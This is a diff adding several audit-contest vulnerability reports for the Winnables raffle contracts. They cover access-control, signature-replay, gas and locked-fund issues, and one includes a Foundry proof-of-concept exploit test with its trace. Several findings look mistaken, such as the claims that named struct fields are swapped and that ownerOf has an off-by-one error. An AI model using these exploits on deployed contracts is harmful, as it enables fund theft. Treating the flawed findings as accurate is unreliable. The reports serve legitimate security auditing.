disabled, disrupting normal cross-chain operations. + +The contract owner and users may be unaware of this change, leading to potential fund loss or other security issues. + +The attacker can exploit this position to carry out further malicious actions across the connected chains. + +### Impact + +If exploited in a derived contract, this vulnerability could lead to: +- Misdirection of cross-chain messages: Messages could be sent to unauthorized or malicious contracts on other chains. +- Potential loss or theft of funds: If cross-chain transfers are involved, funds could be redirected to attacker-controlled addresses. +- Disruption of cross-chain operations: By adding invalid counterparts or removing valid ones, the normal flow of cross-chain communication could be severely disrupted. +- Compromise of protocol trust: Unauthorized changes to CCIP counterparts could undermine the trust in the entire cross-chain communication system. + +### PoC + +To demonstrate this vulnerability, we created a `VulnerableContract.sol` that exposes the `_setCCIPCounterpart` function without proper access control: + +```solidity +contract VulnerableContract is BaseCCIPContract { + constructor(address router) BaseCCIPContract(router) {} + + // Exposing the internal function without access control + function setCounterpart(address contractAddress, uint64 chainSelector, bool enabled) external { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } + + // Helper function to check if a counterpart is enabled + function isCounterpartEnabled(address contractAddress, uint64 chainSelector) external view returns (bool) { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + return _ccipContracts[counterpart]; + } +} +``` + +A test file, `ExploitTest.t.sol` (in the `test` directory) was created to demonstrate the exploit: + +```solidity +function testExploit() public { + // Assume the contract owner has set a legitimate counterpart + vm.prank(address(this)); + vulnerableContract.setCounterpart(legitimateCounterpart, chainSelector, true); + + // Verify the legitimate counterpart is set + assertTrue(vulnerableContract.isCounterpartEnabled(legitimateCounterpart, chainSelector)); + + // Attacker exploits the unprotected function + vm.prank(attacker); + vulnerableContract.setCounterpart(legitimateCounterpart, chainSelector, false); + + // Verify the attacker was able to disable the legitimate counterpart + assertFalse(vulnerableContract.isCounterpartEnabled(legitimateCounterpart, chainSelector)); + + // Attacker sets their own malicious counterpart + address maliciousCounterpart = address(0xBAD); + vm.prank(attacker); + vulnerableContract.setCounterpart(maliciousCounterpart, chainSelector, true); + + // Verify the attacker was able to add their malicious counterpart + assertTrue(vulnerableContract.isCounterpartEnabled(maliciousCounterpart, chainSelector)); +} +``` + +The following command was run in the terminal to run the test: + +```solidity +forge test --match-test testExploit -vvvv +``` + +The test results were as follows: + +```solidity +[PASS] testExploit() (gas: 48420) +Traces: + [52633] ExploitTest::testExploit() + ├─ [0] VM::prank(ExploitTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) + │ └─ ← [Return] + ├─ [22644] VulnerableContract::setCounterpart(0x000000000000000000000000000000000000cafE, 1, true) + │ └─ ← [Stop] + ├─ [666] VulnerableContract::isCounterpartEnabled(0x000000000000000000000000000000000000cafE, 1) [staticcall] + │ └─ ← [Return] true + ├─ [0] VM::assertTrue(true) [staticcall] + │ └─ ← [Return] + ├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF) + │ └─ ← [Return] + ├─ [744] VulnerableContract::setCounterpart(0x000000000000000000000000000000000000cafE, 1, false) + │ └─ ← [Stop] + ├─ [666] VulnerableContract::isCounterpartEnabled(0x000000000000000000000000000000000000cafE, 1) [staticcall] + │ └─ ← [Return] false + ├─ [0] VM::assertFalse(false) [staticcall] + │ └─ ← [Return] + ├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF) + │ └─ ← [Return] + ├─ [22644] VulnerableContract::setCounterpart(0x0000000000000000000000000000000000000Bad, 1, true) + │ └─ ← [Stop] + ├─ [666] VulnerableContract::isCounterpartEnabled(0x0000000000000000000000000000000000000Bad, 1) [staticcall] + │ └─ ← [Return] true + ├─ [0] VM::assertTrue(true) [staticcall] + │ └─ ← [Return] + └─ ← [Stop] + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.08ms (837.47µs CPU time) +``` + +These results show that: +- The legitimate counterpart was initially set successfully. +- An attacker (0x...BEEF) was able to disable the legitimate counterpart. +- The attacker was able to add their own malicious counterpart (0x...BAD). + + +### Mitigation + +To address this vulnerability and ensure robust access control, we recommend implementing OpenZeppelin's `AccessControl` contract. This provides a flexible, role-based access control system that has been thoroughly audited and widely adopted in the industry. + +Here's the updated `BaseCCIPContract.sol` with OpenZeppelin's `AccessControl` incorporated: + +```diff ++ import "@openzeppelin/contracts/access/AccessControl.sol"; + +- contract BaseCCIPContract { ++ contract BaseCCIPContract is AccessControl { + error InvalidRouter(address router); + error UnauthorizedCCIPSender(); + + address internal immutable CCIP_ROUTER; + ++ bytes32 public constant CCIP_MANAGER_ROLE = keccak256("CCIP_MANAGER_ROLE"); + + constructor(address router) { + CCIP_ROUTER = router; ++ _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); ++ _setupRole(CCIP_MANAGER_ROLE, msg.sender); + } + ++ function setCCIPCounterpart( ++ address contractAddress, ++ uint64 chainSelector, ++ bool enabled ++ ) public onlyRole(CCIP_MANAGER_ROLE) { ++ _setCCIPCounterpart(contractAddress, chainSelector, enabled); ++ } + + function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; ++ emit CCIPCounterpartSet(contractAddress, chainSelector, enabled); + } + ++ // Optional: Add a function to grant the CCIP_MANAGER_ROLE ++ function grantCCIPManagerRole(address account) public onlyRole(DEFAULT_ADMIN_ROLE) { ++ grantRole(CCIP_MANAGER_ROLE, account); ++ } + ++ // Event to log CCIP counterpart changes ++ event CCIPCounterpartSet(address indexed contractAddress, uint64 indexed chainSelector, bool enabled); + + function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) + ); + } +} +``` + +This implementation provides fine-grained access control, allows for multiple managers if needed, and improves the contract's security posture while maintaining flexibility for legitimate operations. + +As an additional option, consider implementing further security measures such as multi-signature functionality for high-stakes changes. For multi-signature functionality, you would typically implement this at a higher level, such as using a multi-sig wallet as the owner of the contract or as the holder of the `DEFAULT_ADMIN_ROLE`. The exact implementation would depend on the specific multi-sig solution chosen. \ No newline at end of file diff --git a/328.md b/328.md new file mode 100644 index 0000000..97457a8 --- /dev/null +++ b/328.md @@ -0,0 +1,80 @@ +Joyful Golden Cod + +Medium + +# If a raffle winner gets blacklisted by USDC, raffle admin's locked tokens will be permanently stuck + +## Summary + +As per protocol's README, USDC is one of the tokens which will be allowed to interact with the project. And as per the updated README: "For tokens that have a blacklist, we will ignore any issues caused by that blacklist unless they cause damage to the protocol or other users.". + +A well-known feature of the USDC token is that it has a blacklist functionality. The case here is that if a raffle winner gets blacklisted, he will not be able to claim his prize, i think this will be fine by the protocol as it's expected behaviour, but the greater impact is that the USDC raffle admin can't withdraw his funds as they will stay permanently locked + +## Vulnerability Detail + +Following the lock function: + +```javascript +function lockTokens( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address token, + uint256 amount + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + if (tokenBalance < amount + _tokensLocked[token]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.TOKEN; + unchecked { _tokensLocked[token] += amount; } + _tokenRaffles[raffleId].tokenAddress = token; + _tokenRaffles[raffleId].amount = amount; + ... + } +``` +`_tokensLocked[USDC]` will be incremented by the deposit amount + +Now let's look at the the withdraw function: + +```javascript +function withdrawToken(address token, uint256 amount) external onlyRole(0) { + uint256 tokenBalance = IERC20(token).balanceOf(address(this)); + uint256 availableBalance; + unchecked { availableBalance = tokenBalance - _tokensLocked[token]; } + if (availableBalance < amount) revert InsufficientBalance(); + IERC20(token).safeTransfer(msg.sender, amount); + } +``` + +If an admin wants to withdraw the locked funds, the available balance will be always 0 and cause a revert + +Here is a scenario, confirming the vulnerability: + +1. A USDC raffle admin, locks 1000 USDC, the `_tokensLocked[USDC]` will have value `1000e6` +2. A user participates in the raffle, but gets blacklisted by the USDC token, because of malicious acts for example +3. The user gets selected as winner, but he will not be able to claim his prize +4. The admin tries to withdraw his funds, but the values in the withdraw function will be as follows: + - `tokenBalance` = 1000e6 + - `availableBalance` = 1000e6 - 1000e6 = 0 + - the check will fail -> `if (0 < 1000e6)` + +Funds will be permanently stuck in the contract + +## Impact + +- Impact: High, as the locked tokens can't ever be withdrawn +- Likelihood: Low, as it requires a USDC blacklisted user to be selected as a winner +- Overall: Medium + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L207-L209 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L223 + +## Tool used + +Manual Review + +## Recommendation + +Implement a mechanism that checks for user blacklists, but since the user can get blacklisted after he enters the raffle, if a winner is blacklisted allow the withdrawal of the locked amount or set a grace period for a winner to be able to claim his tokens, when the period ends and if the prize is still unclaimed, the locked funds are automatically unlocked. \ No newline at end of file diff --git a/331.md b/331.md new file mode 100644 index 0000000..2c0ffe2 --- /dev/null +++ b/331.md @@ -0,0 +1,126 @@ +Broad Red Skunk + +Medium + +# In certain situations, winner can't claim his prize due to unbounded ticket count + +## Summary +In buyTickets() function, ticketCount variable is defined as uint16 which makes 65535 at max. If an user win the raffle with a ticket which is far enough from the starting point, then user can't claim his reward due to out of gas problem. + +## Vulnerability Detail +In Winnables platform, buyTickets() function takes ticketCount argument and user can buy ticket using the signature which is generated by the off-chain API system and it mints tickets to user in WinnablesTicket contract. Based on the minting algorithm, it set the first place of the current pointer with user address and it updates the pointer to currentPointer + ticketCount point: + +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } +&> IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; +&> _supplies[id] = startId + amount; + } + +&> _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` + +So, basicly if we want to learn the owner of the ticket X, we need to go back one by one until reaching non-zero address: + +```solidity + function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + if (ticketId >= _supplies[id]) { + revert InexistentTicket(); + } + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + return _ticketOwnership[id][ticketId]; + } +``` + +The problem arise in here. If the winner ticket is far enough to revert the execution, winner can't get the prize because system can't determine the winner in the raffle: + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; +&> address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } + +function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; +&> return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` + +## Proof of Concept +### Scenario: + +- A raffle event is planned +- Alice wants to buy really high amount of tickets and she takes 2000 tickets ( because she wants to win :) ) +-- Now, her address set to startId ( pointer ) of the _ticketOwnership variable and new pointer is startId + ticketCount +- Let say Alice wins the riffle with her 1800th ticket. +- System will try to reach 0 point which stores Alice's address in order to detect Alice's address +- Due to high amount of gas usage system couldn't detect the address +- Result: Raffle couldn't be finalized + +## Impact +Main functionality problem + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L182 + +## Tool used + +Manual Review + +## Recommendation + +Applying a reasonable the maximum purchasable ticketCount in one execution to buyTickets() function can solve the problem. \ No newline at end of file diff --git a/334.md b/334.md new file mode 100644 index 0000000..f36c673 --- /dev/null +++ b/334.md @@ -0,0 +1,32 @@ +Clean Fiery Caribou + +Medium + +# reverts when querying the owner of the latest ticketID of a raffle in WinnableTicket.sol + +## Summary +off-by-one error + +## Vulnerability Detail +```solidity + function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + if (ticketId >= _supplies[id]) {// @audit-issue off-by-one error? depends on how raffleID is chosen + revert InexistentTicket(); +``` + +The check above will revert if `ticketId` is the latest ticket id in the _supplies mapping for a raffle + + + The check above should had been ticketID > _supplies[id] instead + +## Impact +reverts when querying the owner of the latest ticketID of a raffle in WinnableTicket.sol + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L94 +## Tool used + +Manual Review + +## Recommendation +do this `ticketID > _supplies[id]` instead diff --git a/342.md b/342.md new file mode 100644 index 0000000..8998a39 --- /dev/null +++ b/342.md @@ -0,0 +1,127 @@ +Rural Midnight Snail + +Medium + +# `WinnablesTicketManager::_getWinnerByRequestId` Prevents Potential Winners from Receiving the Winner Title Due to `WinnablesTicket::ownerOf` Reverting When the Winner's Ticket is the Last One in the Raffle + +## Summary +**description:** The `WinnablesTicketManager::_getWinnerByRequestId` function relies on the `WinnablesTicket::ownerOf` method to return the address of the owner of the winning ticket. However, if the winning ticket is the last ticket in the raffle, calling `WinnablesTicket::ownerOf` will trigger a revert. This issue prevents the function from returning the correct winner and undermines the fairness and reliability of the protocol's intended operations. + +## Vulnerability Details +The below codes are to be used in Foundry and are designed to target this specific issue, Please review the Code Snippets below. + +**Foundry Test Contract** information +1. We created a foundry testing environment that is specifically targeting the returning values of the `WinnablesTicket::ownerOf` as follows in the code below.
+2. Explanation: We use the mapping that is used to store the ticket owners address with a uint value for the raffle id and the last uint value for the ticketID. We create a new function to set a raffleId, ticketId and an address to the `_ticketOwnership` and increase the mapping _supplies. Most functions have been changed to public for testing and ease of accessibility. + +**Foundry Test** information +1. For this Test we create a `setTicketOwnership()` function so that we can test the returning address value of the tickets that could poteintailly be drawn as the winner.
+2. We then set 3 users and give them a ticket each in the raffleId number 2.
+4. We now make all the users winners to see what the return address values are, user1 and user2 return value passes, user3 return address values are reverted because user3's ticket is the last in the array and when going through the check in `WinnablesTicket::ownerOf` the function is reverted. + +## PoC +
Foundry Test Contract + +```js + +pragma solidity 0.8.24; +contract WinnablesTicketManager { + + mapping(uint256 => mapping(uint256 => address)) public _ticketOwnership; + mapping(uint256 => uint256) public _supplies; + + + function _getWinnerByRequestId(uint256 raffleId, uint256 winningTicketNumber) public view returns(address) { + return ownerOf(raffleId, winningTicketNumber); + } + + function setTicketOwnership(uint256 raffleId, uint256 ticketId, address owner) external { + _ticketOwnership[raffleId][ticketId] = owner; + _supplies[raffleId] = ticketId; + } + + function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + if (ticketId >= _supplies[id]) { + revert InexistentTicket(); + } + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + return _ticketOwnership[id][ticketId]; + } +} + +``` + +
+ +
Foundry Test + +```js +function test_returnAddressZeroWhenTicketIDIsLowerThanRaffleId() public { +//Create New Address: + address user1 = makeAddr("user1"); + address user2 = makeAddr("user2"); + address user3 = makeAddr("user3"); + vm.startPrank(user1); + uint256 raffleId = 2; + raffle.setTicketOwnership(raffleId, 1, address(user1)); + raffle.setTicketOwnership(raffleId, 2, user2); + raffle.setTicketOwnership(raffleId, 3, user3); + address winner1 = raffle._getWinnerByRequestId(raffleId, 1); + address winner2 = raffle._getWinnerByRequestId(raffleId, 2); + vm.expectRevert(); + address winner3 = raffle._getWinnerByRequestId(raffleId, 3); +} +``` +
+ +## Code Snippet + +`WinnablesTicketManager::_getWinnerByRequestId` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472 + +`WinnablesTicket::ownerOf` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L93 + + +## Impact +This issue impacts the fairness of the protocol by preventing all ticket holders from having an equal chance to win. As the protocol currently stands, the `WinnablesTicket::ownerOf` function will never return the address of the holder of the last ticket. This gives all other ticket holders a disproportionately better chance of winning. + +## Tools Used +* Foundry +* Manual Review + +## Recommendations +**Mitigation 1:** To address this issue, modify the check to ensure that it only reverts if the ticket number is greater than the `_supplies` array. This adjustment will ensure that the last ticket holder has the same chance to win as the rest of the participants, maintaining fairness in the protocol. + +**Mitigation 2:** Additionally, to further enhance fairness, ensure that winners are selected randomly and that the zero address, which is checked to prevent being selected, does not occur. If a zero address is returned, re-run the process to select a new random winner, thereby ensuring that all participants have an equal opportunity to win. + +```diff +mitigation1:: +function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { +- if (ticketId >= _supplies[id]) { ++ if (ticketId > _supplies[id]) { +revert InexistentTicket(); + } + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + return _ticketOwnership[id][ticketId]; + } +``` + +```diff +mitigation1:: +function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { +- if (ticketId >= _supplies[id]) { ++ if (ticketId > _supplies[id]) { ++ getWinner() + revert InexistentTicket(); + } +- while (_ticketOwnership[id][ticketId] == address(0)) { +- unchecked { --ticketId; } +- } + return _ticketOwnership[id][ticketId]; +} +``` \ No newline at end of file diff --git a/370.md b/370.md new file mode 100644 index 0000000..21a7b3c --- /dev/null +++ b/370.md @@ -0,0 +1,75 @@ +Rural Midnight Snail + +Medium + +# `BaseCCIPSender::_sendCCIPMessage` Function Parses Arguments in the Wrong Order, Resulting in Incorrect Information Sent to the Avalanche Chain + + +## Summary +**description:** The `_sendCCIPMessage` function utilizes the `Client.sol` library from Chainlink to send information using the `EVM2AnyMessage` struct. However, the function mistakenly swaps the `extraArgs` and `feeToken` arguments when parsing the data, resulting in incorrect information being sent. + +## Vulnerability Detail +`BaseCCIPSender::_sendCCIPMessage` +
_sendCCIPMessage.EVM2AnyMessage + +```js +Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN +``` +
+ +`Client::EVM2AnyMessage` +
EVM2AnyMessage + +```js +struct EVM2AnyMessage { + bytes receiver; // abi.encode(receiver address) for dest EVM chains + bytes data; // Data payload + EVMTokenAmount[] tokenAmounts; // Token transfers + address feeToken; // Address of feeToken. address(0) means you will send msg.value. + bytes extraArgs; // Populate this with _argsToBytes(EVMExtraArgsV1) + } +``` + +
+ + +## Impact +This will impact the data that the `_sendCCIPMessage` is sending will be wrong. + +## Code Snippet + +`BaseCCIPSender::_sendCCIPMessage` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L28-L34 + +## Tool used +Manual Review + +## Recommendation +It is Recommended to change the order of the struct in the `BaseCCIPSender::_sendCCIPMessage` function where it is calling `Client.EVM2AnyMessage`. +```diff +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), +- extraArgs: "", +- feeToken: LINK_TOKEN ++ feeToken: LINK_TOKEN, ++ extraArgs: "" + }); +``` diff --git a/372.md b/372.md new file mode 100644 index 0000000..97aa66c --- /dev/null +++ b/372.md @@ -0,0 +1,63 @@ +Breezy Amethyst Penguin + +Medium + +# Signed message hash used by `WinnablesTicketManager._checkPurchaseSig` function for calling `WinnablesTicketManager._getSigner` function does not include identifying information like `block.chainid` and address of `WinnablesTicketManager` contract itself, which can cause signature replay issues + +### Summary + +Because the signed message hash used by the `WinnablesTicketManager._checkPurchaseSig` function for calling the `WinnablesTicketManager._getSigner` function lacks identifying information like `block.chainid` and the address of the `WinnablesTicketManager` contract itself as the verifying contract, signature replay issues can occur, such as that an unused signature can be used twice to buy the same number of the corresponding raffle tickets on two chains after a hard fork occurs, which is problematic if such signature should only be allowed to be used on one chain. + +### Root Cause + +The signed message hash used by the `WinnablesTicketManager._checkPurchaseSig` function for calling the `WinnablesTicketManager._getSigner` function does not contain identifying information like `block.chainid` and the address of the `WinnablesTicketManager` contract itself as the verifying contract. + +### Internal pre-conditions + +Not applicable + +### External pre-conditions + +1. A hard fork of the current chain happens. +2. Afterwards, one chain still uses the original `block.chainid` while the other does not. + +### Attack Path + +1. An unused signature can be used to call the `WinnablesTicketManager.buyTickets` function on both chains after such hard fork. +2. When the `WinnablesTicketManager.buyTickets` function calls the `WinnablesTicketManager._checkPurchaseSig` function, which further calls the `WinnablesTicketManager._getSigner` function, the signed message hash to be checked does not include identifying information like `block.chainid` so which chain such signature is allowed to be used on is not distinguished. Thus, the same signer that has the `1` role is returned by the `WinnablesTicketManager._getSigner` function's `ECDSA.recover` function call on both chains. +3. Such signature is used twice to buy the same number of the corresponding raffle tickets on both chains. This is problematic if it should only be allowed to be used on one chain. + +### Impact + +Signature replay issues can happen. For instance, after a hard fork occurs, an unused signature can be used twice to buy the same number of the corresponding raffle tickets on two chains, which is problematic if such signature should only be allowed to be used on one chain. + +### PoC + +The signed message hash used by the `WinnablesTicketManager._checkPurchaseSig` function for calling the `WinnablesTicketManager._getSigner` function contains information about `msg.sender, _userNonces[msg.sender], raffleId, ticketCount, blockNumber, msg.value` but it does not include identifying information like `block.chainid` and the address of the `WinnablesTicketManager` contract itself. This can cause signature replay issues. For example, when a hard fork occurs, where one chain still uses the original `block.chainid` while the other does not, an unused signature can be used twice to buy the same number of the corresponding raffle tickets on both chains since the signed message hash does not distinguish between different chains and calling the `ECDSA.recover` function using such hash would return the same signer that has the `1` role on both chains. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L448-L458 +```solidity + function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) internal view { + if (blockNumber < block.number) revert ExpiredCoupon(); + address signer = _getSigner( + keccak256( + abi.encodePacked( +@> msg.sender, _userNonces[msg.sender], raffleId, ticketCount, blockNumber, msg.value + ) + ), signature + ); + if (!_hasRole(signer, 1)) revert Unauthorized(); + } +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L464-L467 +```solidity + function _getSigner(bytes32 message, bytes calldata signature) internal pure returns(address) { + bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)); +@> return ECDSA.recover(hash, signature); + } +``` + +### Mitigation + +The protocol can be updated to create EIP-712 compliant signatures, which include identifying information like `block.chainid` and the address of the `WinnablesTicketManager` contract itself as the verifying contract. The `WinnablesTicketManager._checkPurchaseSig` function can then be updated to create the signed message hash that contains such newly added identifying information. \ No newline at end of file diff --git a/375.md b/375.md new file mode 100644 index 0000000..8ea6e60 --- /dev/null +++ b/375.md @@ -0,0 +1,23 @@ +Joyous Iron Tarantula + +Medium + +# unchecked output of the ECDSA recover function + +## Summary +the return value of ecrecover may be 0 which means the signature may be invalid but the check can be bypassed when signature is 0. +## Vulnerability Detail + function _getSigner(bytes32 message, bytes calldata signature) internal pure returns(address) { + bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)); + return ECDSA.recover(hash, signature); + } +## Impact + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L464 +## Tool used + +Manual Review + +## Recommendation +check for the output of recover function for zero address. \ No newline at end of file diff --git a/387.md b/387.md new file mode 100644 index 0000000..ac8ac47 --- /dev/null +++ b/387.md @@ -0,0 +1,49 @@ +Brave Onyx Cuckoo + +Medium + +# WinnablesTicket::transferOwnership lack of two-step process for ownership changes + +### Summary + + WinnablesTicket::transferOwnership lack of two-step process for ownership changes + +### Root Cause + +In WinnablesTicket::transferOwnership: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L173-L176 +```solidity + /// @notice (Owner) Transfer contract ownership (only for Marketplace admin rights) + /// @param newOwner Address of the new owner account + function transferOwnership(address newOwner) external onlyOwner { + owner = newOwner; + emit OwnershipTransferred(msg.sender, newOwner); + } +``` + +The account with owner role can call transferOwnership to transfer owner role to a new owner account, however there is no validity check on the new owner address. + +### Internal pre-conditions + +1. Only accounts that have become owner roles can call the transferOwnership function + +### External pre-conditions + +None + +### Attack Path + +1. The old owner role invoke the transferOwnership() function on the WinnablesTicket contract to change the address of WinnablesTicket contract's owner. +2. The old owner accidentally enter the wrong address, and ownership of the contract is transferred to the incorrect address. + +### Impact + +The owner role of the WinnablesTicket contract may be set to an invalid address and cannot be revoked, which will cause the onlyOwner related functions of the contract to fail. + +### Mitigation + +Implement zero address check and consider implementing a two step process where the owner nominates an account and the nominated account needs to call an acceptOwnership() function for the transfer of ownership to fully succeed. This ensures the nominated EOA account is a valid and active account. + +You can refer to the following code: +https://github.com/smartcontractkit/chainlink/blob/c72afe72e890a2a363bd54eb823c4ba54dd42fcb/contracts/src/v0.8/shared/access/ConfirmedOwnerWithProposal.sol#L4 + diff --git a/392.md b/392.md new file mode 100644 index 0000000..c03c965 --- /dev/null +++ b/392.md @@ -0,0 +1,37 @@ +Sparkly Crepe Vulture + +Medium + +# An attacker can steal gas from other callers + +### Summary + +When the project party uses the `refundPlayers` function to perform a refund for the user, there is no gas limit for sending ETH. The user may use this call to implement complex operations, thus stealing the gas paid by the project party. + +### Root Cause + +In the [contract](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L484), there is no fixed gas limit used for transfers. + +### Internal pre-conditions + +The project side needs to call the `refundPlayers` function to refund users. + +### External pre-conditions + +_No response_ + +### Attack Path + +Users can implement complex logic in the receive function, so that when the project party refunds it, it will be called using the gas paid by the project party. + +### Impact + +The project party may pay more gas for the attacker. + +### PoC + +_No response_ + +### Mitigation + +Use a fixed gas limit when calling. \ No newline at end of file diff --git a/395.md b/395.md new file mode 100644 index 0000000..3f9c837 --- /dev/null +++ b/395.md @@ -0,0 +1,55 @@ +Keen Teal Aphid + +High + +# Funds remain locked in the contract due to a raffle stuck in limbo state. + +### Summary + +A raffle can get stuck in a state that is not being able to be canceled or won. +This can happen in a case where the total tickets sold are exactly as the amount of `minTickets` specified when the raffle is being created. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L252 + + +### Root Cause + +When a raffle is created the `minTickets` are specified. +Now lets look at the two check function for the raffle `_checkShouldDraw` and `_checkShouldCancel`. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L422 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434 +Both of the functions take the supply of the sold tickets of the raffle. +In one case it's `currentTicketSold` and in the other `supply` variable. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L425 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L439 +In a case where both `currentTicketSold/supply` are equal to `minTicketsThreshold` the check for that does not check the `=` case but both function check if it is less or more. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L431 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L440 +Meaning that if a raffle expires, meaning `endsAt` is greater than block.timestamp, a raffle will be stuck and CAN NOT be canceled nor won by a user, since those function does not check for the 